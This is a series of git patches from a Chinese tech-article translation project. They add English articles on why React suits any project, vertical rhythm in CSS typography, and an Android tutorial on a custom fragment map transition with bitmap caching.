+> Premature optimization is the root of all evil.
+
+Another popular saying among programmers. After all, who needs a hammer and nails when duct tape will do just fine!
+
+But this makes the assumption that "premature optimization" is a long, arduous process with few benefits. And I don't think this applies to React. 
+
+While React may take some time getting used to, once you learn [its basic concepts](https://medium.freecodecamp.com/the-5-things-you-need-to-know-to-understand-react-a1dbd5d114a3) you'll be just as productive as with classic front-end tools. 
+
+Maybe more in fact, because React leverages the extremely powerful concept of **components**. Just like CSS encourages you to think in terms of reusable classes and styles, React pushes you towards a flexible, modular front-end architecture that has benefits for every use case, from the lowly static homepage to the interactive back-end dashboard. 
+
+### JavaScript, JavaScript Everywhere ###
+
+We live in a JavaScript world. Or, as Chris puts it:
+
+> You got Node.js on the server side. There are loads of projects that yank CSS out of the mix and handle styles through JavaScript. And with React, your HTML is in JavaScript too.
+> 
+> All JavaScript! All hail JavaScript!
+
+Chris isn't quite convinced, but I am. JavaScript in itself isn't necessarily perfect, but having access to the entire modern NPM ecosystem is amazing. 
+
+Installing a jQuery plugin used to involve finding its homepage, downloading it, copying it in your project directory, adding a `<script>` tag, and then hopefully remembering to check back every couple months for new versions. These days, installing the same plugin as a React package is just the matter of a single npm install command. 
+
+And with new libraries like [styled-components](https://medium.freecodecamp.com/a-5-minute-intro-to-styled-components-41f40eb7cd55), even CSS is now being dragged kicking and screaming into the future.  
+
+Believe me, once you get used to this world where everything is speaking the same language, it's really hard to go back to the old way of doing things. 
+
+### Won't Somebody Please Think of the Users! ###
+
+I know what you're thinking: so far I've tried to sell you on the benefits of React to developers, but I've carefully side-stepped any mention of the end user experience. 
+
+And that remains the key argument against modern libraries: slow, JavaScript-bloated sites that take ages just to display a single "one weird trick" ad. 
+
+Except here's a little secret: **you can get all the benefits of React without any JavaScript at all**!
+
+What I'm talking about here is rendering React on **the server**. In fact, tools like [Gatsby](https://github.com/gatsbyjs/gatsby) (and soon, [Next.js](https://github.com/zeit/next.js/)) even let you compile React components into static HTML files that you can host on, say, GitHub pages. 
+
+As an example, [my own personal site](http://sachagreif.com/) is a Gatsby-generated React app that doesn't load any JavaScript at all (beyond a Google Analytics snippet). I get all the benefits of using React in development (all-JavaScript, access to the NPM ecosystem, styled-components, etc.) but end up with a 100% HTML-and-CSS end product. 
+
+### Wrappi
+
+To recap, here are the four reasons why I think React is a valid choice for *any* project:
+
+- It's really hard to guarantee you'll never *ever* need interactive features like tabs, forms, etc. even for the simplest of site.
+- React's component-based approach has big benefits even for static content-based sites.
+- Access to the modern JavaScript ecosystem is a huge benefit. 
+- Modern server-rendering tools eliminate the downsides of using React for the end user.
+
+So what do you think, Chris? Have I made a convincing case? Or do doubts still linger in your mind?
+
+And what about you, dear reader? Whether you think like Chris that every tool has its use, or whether you agree with me that the Time of the Hammer is at hand, let us know in the comments!
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From b238855a85eb1cc61273a5b93a3984391b3c41fa Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 3 May 2017 23:16:07 +0800
Subject: [PATCH 324/638] Create why-vertical-rhythms.md

---
 TODO/why-vertical-rhythms.md | 246 +++++++++++++++++++++++++++++++++++
 1 file changed, 246 insertions(+)
 create mode 100644 TODO/why-vertical-rhythms.md

diff --git a/TODO/why-vertical-rhythms.md b/TODO/why-vertical-rhythms.md
new file mode 100644
index 00000000000..684756a38d1
--- /dev/null
+++ b/TODO/why-vertical-rhythms.md
@@ -0,0 +1,246 @@
+> * 原文地址：[Why is Vertical Rhythm an Important Typography Practice?](https://zellwk.com/blog/why-vertical-rhythms/)
+> * 原文作者：[Zell](https://zellwk.com/about/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Why is Vertical Rhythm an Important Typography Practice? #
+
+You probably heard of the term **Vertical Rhythm** if you researched a little about typography on the web. It’s one of the most important practices when working with typography. I’ve used Vertical Rhythm on all my sites ever since I read about it.
+
+One day, it struck me that I haven’t had a clue why vertical rhythm was important. Two more questions quickly arose following that thought: “How does Vertical Rhythm improve the design of the site? What lessons can I draw from Vertical Rhythm so I can improve my design?”
+
+I decided to find out why. Here are my thoughts.
+
+Let’s begin the article with some context so we’re on the same page.
+
+## What is Vertical Rhythm? ##
+
+Vertical Rhythm is a concept that originated from print typography (I think). In Vertical Rhythm, we try to keep vertical spaces between elements on a page consistent with each other.
+
+This is often done with the help of a **baseline** – A common denominator used to create the consistent spaces.
+
+In practice, we often visualize the baseline in print design by overlaying our page with a baseline grid as shown below:
+
+![](https://zellwk.com/images/2016/why-vertical-rhythm/baseline-print.png)
+
+Baseline grid in Print design
+
+Baseline grids on the web are slightly different because of the way the `line-height` property works. We often see a baseline grid that looks like this instead:
+
+![](https://zellwk.com/images/2016/why-vertical-rhythm/baseline-web.png)
+
+Baseline grid for the web
+
+Don’t worry about the nuances between print and web baseline grids. Although they look slightly different, the principle behind Vertical Rhythm still remain.
+
+At this point, we know that Vertical Rhythm requires a baseline and a baseline grid. The next question, then, is “**how do we determine the baseline?”**
+
+The **baseline is determined by the `line-height` property of the body text**. Let’s say your body text has a computed `line-height` value of 24px. Your baseline is then 24px.
+
+Implementing Vertical Rhythm from this point on is simple. There are two rules:
+
+1. Set the **vertical white space between elements** to a **multiple of 24px**.
+2. Set the **line-height of all text elements** to a **multiple of 24px**.
+
+A simple implementation of these two rules may look like this:
+
+```
+h1 {
+  line-height: 48px;
+  margin: 24px 0;
+}
+
+p {
+  line-height: 24px;
+  margin: 24px 0;
+}
+```
+
+Just following these simple rules has the effect of producing results like this:
+
+![](https://zellwk.com/images/2016/why-vertical-rhythm/before-after.png)
+
+Before and after implementing Vertical Rhythm
+
+Which design feels better? By better, it could mean things like feeling:
+
+- More calm
+- More orderly
+- Easier to read
+- More professional
+- (etc)…
+
+But why? What makes these two rules so powerful that it immediately changes your perception of the two (albeit simple) designs?
+
+Let’s take a look at the two rules again:
+
+1. Set the vertical white space between elements to a **multiple of 24px**.
+2. Set the line-height of all text elements to a **multiple of 24px**.
+
+Did you notice a commonality between these two statements? Yep, it’s a **multiple of 24px**.
+
+These two rules tie-in with a principle of design called **Repetition**.
+
+## The Principle of Repetition ##
+
+Repetition is simply repeating the number of occurrences of one or more aspects of the design. Anything can be repeated. Some examples are:
+
+- a typeface
+- a font weight
+- a font size
+- a color
+- a line
+- a shape (like circle, square or triangle)
+- (etc) …
+
+You can even repeat spatial relationships as well. In the case of Vertical Rhythm, we’re repeating a space of 24px throughout the page.
+
+**So, what does repetition do?**
+
+**Repetition breeds familiarity**. It has the ability to make things feel as if they belong together. It gives the feeling that someone has thought it all out, like it’s part of the plan.
+
+Take for instance, a lonely circle in the middle of nowhere.
+
+![one circle](https://zellwk.com/images/2016/why-vertical-rhythm/lonely-circle.png)
+
+Lonely, I’m Mr.Lonely, I have nobody ~~~ ♪ 
+
+What is the circle doing there? What is it supposed to mean? What is the designer trying to say?
+
+Your mind begins to race. It tries to search for coherent answers to your questions. Unfortunately, you won’t find any. You’re left hanging. You feel unsettled.
+
+Watch what happens if you add more circles to the group
+
+![more circle](https://zellwk.com/images/2016/why-vertical-rhythm/more-circles.png)
+
+More circles
+
+The circle doesn’t seem so out of place anymore does it? Don’t you feel more comfortable now?
+
+Watch what happens if you add even more circles to the group
+
+![Many circles](https://zellwk.com/images/2016/why-vertical-rhythm/many-circles.png)
+
+Moar moar moar circles!!! 
+
+Ah. Many circles. You begin to see a pattern now.
+
+Now, how do you feel when you look at this image now? How does it compare with the previous two images?
+
+It feels almost the same as when you tried comparing the before / after Vertical Rhythm example, isn’t it?
+
+Wow! Why?
+
+**Because your mind has subconsciously settled on an answer** by now. You see that these circles are all part of a plan. Someone has orchestrated this carefully. **It’s all there for a reason. You may not necessarily know the reason, but you know it’s there**. You feel safer now. That’s why.
+
+Vertical Rhythm work for the same reason. We’re simply repeating the baseline throughout the entire page.
+
+**But there’s a trick with Vertical Rhythm**. The trick lies in determining the baseline. Think about it. Why, of all numbers, did we choose 24px as our baseline?
+
+There’s only one reason: **it’s the value that gets repeated the most on the page.**
+
+Take a look at the baseline grid again. Notice what you see now:
+
+![Repeated baselines](https://zellwk.com/images/2016/why-vertical-rhythm/baseline-24.png)
+
+See how the baseline of 24px is repeated multiple times?
+
+![](https://zellwk.com/images/2016/why-vertical-rhythm/mindblown.gif)
+
+Mind-blowingly simple, isn’t it.
+
+Now that we know the principle of repetition, how can we apply it to the rest of our design?
+
+**Repeat more. You can also vary the repetitions.**
+
+## Varying Repetitions ##
+
+We can’t possibly separate everything by 24px. It’ll be boring. We need to throw in some variations somewhere. But how?
+
+The answer can be found within the two rules for Vertical Rhythm:
+
+1. Set the vertical white space between elements to a **multiple** of 24px.
+2. Set the line-height of all text elements to a **multiple** of 24px.
+
+Yep, the keyword is **multiple**.
+
+You can multiply 24px with whatever ratio you want. **The key is to remain consistent.** Since we already have a strong base at 24px, the **next strongest variation we can have is to multiple or divide 24px by 2**. Here, we get either 12px or 48px.
+
+Carry on with this process of multiplication and you’ll eventually end up with a scale:
+
+12px, 24px, 36px, 48px, 60px, 72px …
+
+Try using any of these numbers as a margin or padding to any element and they’ll automatically feel as if they’re part of the design.
+
+![](https://zellwk.com/images/2016/why-vertical-rhythm/separation-of-72px.png)
+
+Second heading element has margin-top of 72px instead of 24px
+
+Of course, remember to **keep repeating** the number you choose to use!
+
+## Repeating 24px Elsewhere ##
+
+So far, we’re focused on repeating the flow of 24px from top to bottom. Don’t you think you can repeat 24px horizontally on the left and right as well?
+
+Try it on the left and right padding of components:
+
+```
+.component {
+  padding-left: 24px;
+  padding-right: 24px;
+}
+```
+
+![](https://zellwk.com/images/2016/why-vertical-rhythm/components.png)
+
+Try using it as the gutter of your grid items:
+
+```
+.grid {
+  display: flex;
+  justify-content: space-between
+  margin-left: -12px;
+  margin-right: -12px;
+  overflow: hidden;
+}
+.grid-item {
+  margin: 24px;
+}
+```
+
+![](https://zellwk.com/images/2016/why-vertical-rhythm/grids.png)
+
+Try it as the padding (or margin) between your text and the edge of the screen (especially on a mobile device)
+
+```
+article {
+  margin-left: 24px;
+  margin-right: 24px;
+}
+
+@media (min-width: 600px) {
+  article {
+    margin-left: 0;
+    margin-right: 0;
+  }
+}
+```
+
+![](https://zellwk.com/images/2016/why-vertical-rhythm/layout.jpg)
+
+## Wrapping Up ##
+
+So, in summary, Vertical Rhythm is important because it follows one of the principles of design – repetition.
+
+Repetition has the ability to make things feel that they belong together. It gives the feeling that someone has thought it all out, like it’s part of the plan.
+
+After discovering the link between Vertical Rhythm and Repetition, we went on and figured out several ways we could replicate 24px to bring some variations to the design.
+
+Finally, after getting tired of repeating 24px vertically, we tried repeating 24px horizontally as well.
+
+That’s it! What have you learned about Vertical Rhythm? How would this knowledge shape your design or code from this point on? Let me know in the comments below!
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From cbe7453b8af56af050cf25ae0827823384b4e05d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 3 May 2017 23:40:35 +0800
Subject: [PATCH 325/638] Create
 workcation-app-part-1-fragments-custom-transition.md

---
 ...-app-part-1-fragments-custom-transition.md | 530 ++++++++++++++++++
 1 file changed, 530 insertions(+)
 create mode 100644 TODO/workcation-app-part-1-fragments-custom-transition.md

diff --git a/TODO/workcation-app-part-1-fragments-custom-transition.md b/TODO/workcation-app-part-1-fragments-custom-transition.md
new file mode 100644
index 00000000000..33843a318a2
--- /dev/null
+++ b/TODO/workcation-app-part-1-fragments-custom-transition.md
@@ -0,0 +1,530 @@
+> * 原文地址：[](https://www.thedroidsonroids.com/blog/android/workcation-app-part-1-fragments-custom-transition/)
+> * 原文作者：[Mariusz Brona]()
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+#  Workcation App – Part 1. Fragment custom transition #
+
+Welcome to the first of series of posts about my R&D (Research & Development) project I’ve made a while ago. In this blog posts, I want to share my solutions for problems I encountered during the development of an animation idea you’ll see below.
+
+Part 1: [Fragment’s custom transition](https://www.thedroidsonroids.com/?p=5054)
+
+Part 2: [Animating Markers with MapOverlayLayout](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout/)
+
+Part 3: [RecyclerView interaction with Animated Markers](https://www.thedroidsonroids.com/blog/workcation-app-part-3-recyclerview-interaction-with-animated-markers/)
+
+Part 4: [Shared Element Transition with RecyclerView and Scenes](https://www.thedroidsonroids.com/blog/workcation-app-part-4-shared-element-transition-recyclerview-scenes/)
+
+ 
+
+Link for project on Github:  [Workcation App](https://github.com/panwrona/Workcation)
+
+Link for animation on Dribbble: [https://dribbble.com/shots/2881299-Workcation-App-Map-Animation](https://dribbble.com/shots/2881299-Workcation-App-Map-Animation)
+
+# Prelude #
+
+A few months back we’ve had a company meeting, where my friend Paweł Szymankiewicz showed the animation he’d done during his Research & Development. And I loved it. After the meeting, I decided that I will code it. I never knew what I’m going to struggle with…
+
+ 
+
+![](https://www.thedroidsonroids.com/wp-content/uploads/2017/02/Bali-App-Animation-3-color-2.gif?x77083) 
+
+GIF 1 *“The animation”*
+
+# Let’s start! #
+
+As we can see in the GIF above, there is a lot of going on.
+
+1. After clicking on the bottom menu item, we are moving to the next screen, where we can see the map being loaded with some scale/fade animation from the top, RecyclerView items loaded with translation from the bottom, markers added to the map with scale/fade animation.
+2. While scrolling the items in RecyclerView, the markers are pulsing to show their position on the map.
+3. After clicking on the item, we are transferred to the next screen, the map is animated below to show the route and start/finish marker. The RecyclerView’s item is transitioned to show some description, bigger picture, trip details and button.
+4. While returning, the transition happens again back to the RecyclerView’s item, all of the markers are shown again, the route disappears.
+
+Pretty much. That’s why I’ve decided to show you all of the things in the series of posts. In this article I will cover the enter animation of the map fragment.
+
+# The Problem #
+
+As we can see in the GIF 1 above, it looks like the map is already loaded before and just animated to the proper position. This is not happening in the real world. What it really looks like:
+
+![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/map_loading-1.gif?x77083)
+
+# The Solution #
+
+1. Preload map
+2. When map is loaded, use Google Maps API to get bitmap from it and save it in cache
+3. Create custom transition for scale and fade effect of the map when entering *DetailsFragment*
+
+# Let’s go! #
+
+## Preloading the map ##
+
+To achieve that we have to take bitmap snapshot from already loaded map. Of course we can’t do that in the *DetailsFragment* if we want the smooth transition between screens. What we have to do, is to get bitmap underneath the *HomeFragment* and save it in the cache. As you can see, the map have some margin from the bottom, so we also have to fit the “future” map size.
+
+```
+XHTML
+
+<?xml version="1.0"encoding="utf-8"?>
+
+<android.support.design.widget.CoordinatorLayout xmlns:android="http://schemas.android.com/apk/res/android"
+
+    xmlns:tools="http://schemas.android.com/tools"
+
+    android:layout_width="match_parent"
+
+    android:layout_height="match_parent"
+
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+
+    tools:MContext=".screens.main.MainActivity">
+
+ 
+
+    <fragment
+
+        android:id="@+id/mapFragment"
+
+        class="com.google.android.gms.maps.SupportMapFragment"
+
+        android:layout_width="match_parent"
+
+        android:layout_height="match_parent"
+
+        android:layout_marginBottom="@dimen/map_margin_bottom"/>
+
+ 
+
+    <LinearLayout
+
+        android:layout_width="match_parent"
+
+        android:layout_height="match_parent"
+
+        android:orientation="vertical"
+
+        android:background="@color/white">
+
+        ...
+
+        ...
+
+        </LinearLayout>
+
+    </android.support.design.widget.CoordinatorLayout>
+```
+
+As you can see in the snippet above, the *MapFragment* is placed under the rest of the layout. It will allow us to load the map invisible for the user.
+
+```
+publicclassMainActivity extendsMvpActivity<MainView,MainPresenter>implementsMainView,OnMapReadyCallback{
+
+    SupportMapFragment mapFragment;
+
+    privateLatLngBounds mapLatLngBounds;
+
+    @Override
+
+    protectedvoidonCreate(Bundle savedInstanceState){
+
+        super.onCreate(savedInstanceState);
+
+        presenter.provideMapLatLngBounds();
+
+        getSupportFragmentManager()
+
+                .beginTransaction()
+
+                .replace(R.id.container,HomeFragment.newInstance(),HomeFragment.TAG)
+
+                .addToBackStack(HomeFragment.TAG)
+
+                .commit();
+
+        mapFragment=(SupportMapFragment)getSupportFragmentManager().findFragmentById(R.id.mapFragment);
+
+        mapFragment.getMapAsync(this);
+
+    }
+
+ 
+
+    @Override
+
+    publicvoidsetMapLatLngBounds(finalLatLngBounds latLngBounds){
+
+        mapLatLngBounds=latLngBounds;
+
+    }
+
+ 
+
+    @Override
+
+    publicvoidonMapReady(finalGoogleMap googleMap){
+
+        googleMap.moveCamera(CameraUpdateFactory.newLatLngBounds(
+
+                mapLatLngBounds,
+
+                MapsUtil.calculateWidth(getWindowManager()),
+
+                MapsUtil.calculateHeight(getWindowManager(),getResources().getDimensionPixelSize(R.dimen.map_margin_bottom)),
+
+                MapsUtil.DEFAULT_ZOOM));
+
+        googleMap.setOnMapLoadedCallback(()->googleMap.snapshot(presenter::saveBitmap));
+
+    }
+
+}
+```
+
+MainActivity inherits from MvpActivity, which is a class from [Mosby Framework](https://github.com/sockeqwe/mosby) created by Hannes Dorfmann. The whole project follows MVP pattern, and the framework I mentioned before is a very nice implementation of it.
+
+In onCreate method we have three things:
+
+1. We are providing *LatLngBounds* for map – they will be used to set the bounds of the map
+2. We are replacing the *HomeFragment* in activities container layout
+3. We are setting the *OnMapReadyCallback* on the *MapFragment*
+
+After map is ready, the *onMapReady()* method is called, and we can do some operations to save the properly loaded map into bitmap. We are moving camera to earlier provided *LatLngBounds* using *CameraUpdateFactory.newLatLngBounds()* method. In our case we know exactly what will be the dimension of the map in the next screen, so we are able to pass *width*(width of screen) and *height*(height of screen with bottom margin) parameters to this method. We are calculating them like this:
+
+```
+publicstaticintcalculateWidth(finalWindowManager windowManager){
+
+    DisplayMetrics metrics=newDisplayMetrics();
+
+    windowManager.getDefaultDisplay().getMetrics(metrics);
+
+    returnmetrics.widthPixels;
+
+}
+
+
+publicstaticintcalculateHeight(finalWindowManager windowManager,finalintpaddingBottom){
+
+    DisplayMetrics metrics=newDisplayMetrics();
+
+    windowManager.getDefaultDisplay().getMetrics(metrics);
+
+    returnmetrics.heightPixels-paddingBottom;
+```
+
+Easy. After *googleMap.moveCamera()* method being called, we are setting the *OnMapLoadedCallback*. When camera is moved to the desired position, the *onMapLoaded()* method is called and we are ready to take bitmap from it.
+
+## Getting bitmap and saving in cache ##
+
+The *onMapLoaded()* method has only one task to do – call *presenter.saveBitmap()* after snapshot is taken from the map. Thanks to lambda expression, we can reduce boilerplate to simply one line
+
+```
+googleMap.setOnMapLoadedCallback(()->googleMap.snapshot(presenter::saveBitmap));
+```
+
+The presenters code is really simple. It only saves our bitmap in the cache.
+
+```
+@Override
+
+publicvoidsaveBitmap(finalBitmap bitmap){
+
+    MapBitmapCache.instance().putBitmap(bitmap);
+
+}
+
+
+publicclassMapBitmapCache extendsLruCache<String,Bitmap>{
+
+    privatestaticfinalintDEFAULT_CACHE_SIZE=(int)(Runtime.getRuntime().maxMemory()/1024)/8;
+
+    publicstaticfinalStringKEY="MAP_BITMAP_KEY";
+
+ 
+
+    privatestaticMapBitmapCache sInstance;
+
+    /**
+
+     * @param maxSize for caches that do not override {@link #sizeOf}, this is
+
+     * the maximum number of entries in the cache. For all other caches,
+
+     * this is the maximum sum of the sizes of the entries in this cache.
+
+     */
+
+    privateMapBitmapCache(finalintmaxSize){
+
+        super(maxSize);
+
+    }
+
+ 
+
+    publicstaticMapBitmapCache instance(){
+
+        if(sInstance==null){
+
+            sInstance=newMapBitmapCache(DEFAULT_CACHE_SIZE);
+
+            returnsInstance;
+
+        }
+
+        returnsInstance;
+
+    }
+
+ 
+
+    publicBitmap getBitmap(){
+
+        returnget(KEY);
+
+    }
+
+ 
+
+    publicvoidputBitmap(Bitmap bitmap){
+
+        put(KEY,bitmap);
+
+    }
+
+ 
+
+    @Override
+
+    protectedintsizeOf(Stringkey,Bitmap value){
+
+        returnvalue==null?0:value.getRowBytes()*value.getHeight()/1024;
+
+    }
+
+}
+```
+
+I’ve used *LruCache* for it, because it is the recommended way, well described [here](https://developer.android.com/topic/performance/graphics/cache-bitmap.html).
+
+So we have bitmap saved in the cache, the only thing we have to do is to make custom transition for scale and fade effect of the map when entering *DetailsFragment*. Easy peasy lemon squeezy.
+
+## Custom enter transition for fade/scale map effect ##
+
+So the most interesting part! The code is rather simple, however it allows us to do great stuff.
+
+```
+publicclassScaleDownImageTransitionextendsTransition{
+
+    privatestaticfinalintDEFAULT_SCALE_DOWN_FACTOR=8;
+
+    privatestaticfinalStringPROPNAME_SCALE_X="transitions:scale_down:scale_x";
+
+    privatestaticfinalStringPROPNAME_SCALE_Y="transitions:scale_down:scale_y";
+
+    privateBitmap bitmap;
+
+    privateContext context;
+
+ 
+
+    privateinttargetScaleFactor=DEFAULT_SCALE_DOWN_FACTOR;
+
+ 
+
+    publicScaleDownImageTransition(finalContext context){
+
+        this.context=context;
+
+        setInterpolator(newDecelerateInterpolator());
+
+    }
+
+ 
+
+    publicScaleDownImageTransition(finalContext context,finalBitmap bitmap){
+
+        this(context);
+
+        this.bitmap=bitmap;
+
+    }
+
+ 
+
+    publicScaleDownImageTransition(finalContext context,finalAttributeSet attrs){
+
+        super(context,attrs);
+
+        this.context=context;
+
+        TypedArray array=context.obtainStyledAttributes(attrs,R.styleable.ScaleDownImageTransition);
+
+        try{
+
+            targetScaleFactor=array.getInteger(R.styleable.ScaleDownImageTransition_factor,DEFAULT_SCALE_DOWN_FACTOR);
+
+        }finally{
+
+            array.recycle();
+
+        }
+
+    }
+
+ 
+
+    publicvoidsetBitmap(finalBitmap bitmap){
+
+        this.bitmap=bitmap;
+
+    }
+
+ 
+
+    publicvoidsetScaleFactor(finalintfactor){
+
+        targetScaleFactor=factor;
+
+    }
+
+ 
+
+    @Override
+
+    publicAnimator createAnimator(finalViewGroup sceneRoot,finalTransitionValues startValues,finalTransitionValues endValues){
+
+        if(null==endValues){
+
+            returnnull;
+
+        }
+
+        finalView view=endValues.view;
+
+        if(view instanceofImageView){
+
+            if(bitmap!=null)view.setBackground(newBitmapDrawable(context.getResources(),bitmap));
+
+            floatscaleX=(float)startValues.values.get(PROPNAME_SCALE_X);
+
+            floatscaleY=(float)startValues.values.get(PROPNAME_SCALE_Y);
+
+ 
+
+            floattargetScaleX=(float)endValues.values.get(PROPNAME_SCALE_X);
+
+            floattargetScaleY=(float)endValues.values.get(PROPNAME_SCALE_Y);
+
+ 
+
+            ObjectAnimator scaleXAnimator=ObjectAnimator.ofFloat(view,View.SCALE_X,targetScaleX,scaleX);
+
+            ObjectAnimator scaleYAnimator=ObjectAnimator.ofFloat(view,View.SCALE_Y,targetScaleY,scaleY);
+
+            AnimatorSet set=newAnimatorSet();
+
+            set.playTogether(scaleXAnimator,scaleYAnimator,ObjectAnimator.ofFloat(view,View.ALPHA,0.f,1.f));
+
+            returnset;
+
+        }
+
+        returnnull;
+
+    }
+
+ 
+
+    @Override
+
+    publicvoidcaptureStartValues(TransitionValues transitionValues){
+
+        captureValues(transitionValues,transitionValues.view.getScaleX(),transitionValues.view.getScaleY());
+
+    }
+
+ 
+
+    @Override
+
+    publicvoidcaptureEndValues(TransitionValues transitionValues){
+
+        captureValues(transitionValues,targetScaleFactor,targetScaleFactor);
+
+    }
+
+ 
+
+    privatevoidcaptureValues(finalTransitionValues values,finalfloatscaleX,finalfloatscaleY){
+
+        values.values.put(PROPNAME_SCALE_X,scaleX);
+
+        values.values.put(PROPNAME_SCALE_Y,scaleY);
+
+    }
+
+}
+```
+
+What we do in this transition is that we are scaling down the scaleX and scaleY properties from ImageView from *scaleFactor* (default is 8) to desired view scale. So in other words we are increasing the width and height by *scaleFactor* in the first place, and then we are scaling it down to desired size.
+
+### Creating custom transition ###
+
+In order to do the custom transition, we have to inherit from Transition class. The next step is to override the *captureStartValues* and *captureEndValues*. What is happening here?
+
+The Transition Framework is using the Property Animation API to animate between view’s start and end property value. If you are not familiar with this, you should definetely read [this article](https://developer.android.com/guide/topics/graphics/prop-animation.html).  As explained before, we want to scale down our image. So the startValue is our scaleFactor, and endValue is the desired scaleX and scaleY – normally it will be 1.
+
+How to pass those values? As said before – easy. We have TransitionValues object passed as argument in both *captureStart* and *captureEnd* methods. It contains a reference to the view and a map in which you can store the view values – in our case the scaleX and scaleY.
+
+With values captured, we need to override the *createAnimator()* method. In this method we are returning the *Animator* (or *AnimatorSet*) object which animates changes between view property values. So in our case we are returning the *AnimatorSet* which will animate the scale and alpha of the view. Also we want our transition to work only for ImageView, so we check if view reference from TransitionValues object passed as argument is ImageView instance.
+
+### Applying custom transition ###
+
+We have bitmap stored in memory, we have transition created, so we have last step – applying the transition to our fragment. I like to create static factory method for creating the fragments and activities. It looks really nice and helps us to keep the code rather clean. It is also the nice idea to put our Transition there programmatically.
+
+```
+publicstaticFragment newInstance(finalContext ctx){
+
+    DetailsFragment fragment=newDetailsFragment();
+
+    ScaleDownImageTransition transition=newScaleDownImageTransition(ctx,MapBitmapCache.instance().getBitmap());
+
+    transition.addTarget(ctx.getString(R.string.mapPlaceholderTransition));
+
+    transition.setDuration(800);
+
+    fragment.setEnterTransition(transition);
+
+    returnfragment;
+
+}
+```
+
+As we can see it is really easy to do. We create new instance of our transition, we add target here and also in XML of the target view, via t*ransitionName* attribute.
+
+```
+<ImageView
+
+    android:id="@+id/mapPlaceholder"
+
+    android:layout_width="match_parent"
+
+    android:layout_height="match_parent"
+
+    android:layout_marginBottom="@dimen/map_margin_bottom"
+
+    android:transitionName="@string/mapPlaceholderTransition"/>
+```
+
+Next we just pass transition to fragment via *setEnterTransition()* method and voila! There is the effect:
+
+![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/map_transiton.gif?x77083)
+
+# Conclusion #
+
+As you can see, the final result is closer to the original from the GIF than native map loading. There is also a glitch in the final phase of the animation – this is because the snapshot from the map is different than the content of the SupportMapFragment.
+
+Thanks for reading! Next part will be published on Tuesday 7.03. Feel free to leave a comment if you have any questions, and if you found this blog post helpful – don’t forget to share it!
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 15b3c2defe2a306265d5b184909deb7e55658a96 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 3 May 2017 23:41:43 +0800
Subject: [PATCH 326/638] Update
 workcation-app-part-1-fragments-custom-transition.md

---
 TODO/workcation-app-part-1-fragments-custom-transition.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/workcation-app-part-1-fragments-custom-transition.md b/TODO/workcation-app-part-1-fragments-custom-transition.md
index 33843a318a2..9f4c3d55708 100644
--- a/TODO/workcation-app-part-1-fragments-custom-transition.md
+++ b/TODO/workcation-app-part-1-fragments-custom-transition.md
@@ -1,5 +1,5 @@
-> * 原文地址：[](https://www.thedroidsonroids.com/blog/android/workcation-app-part-1-fragments-custom-transition/)
-> * 原文作者：[Mariusz Brona]()
+> * 原文地址：[Workcation App – Part 1. Fragment custom transition](https://www.thedroidsonroids.com/blog/android/workcation-app-part-1-fragments-custom-transition/)
+> * 原文作者：[Mariusz Brona](https://www.thedroidsonroids.com/blog/android/workcation-app-part-1-fragments-custom-transition/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：
 > * 校对者：

From 8107008c6acdde16b4762038c30581e8ff96a5fa Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 3 May 2017 23:57:09 +0800
Subject: [PATCH 327/638] Create
 workcation-app-part-2-animating-markers-with-mapoverlaylayout.md

---
 ...animating-markers-with-mapoverlaylayout.md | 832 ++++++++++++++++++
 1 file changed, 832 insertions(+)
 create mode 100644 TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md

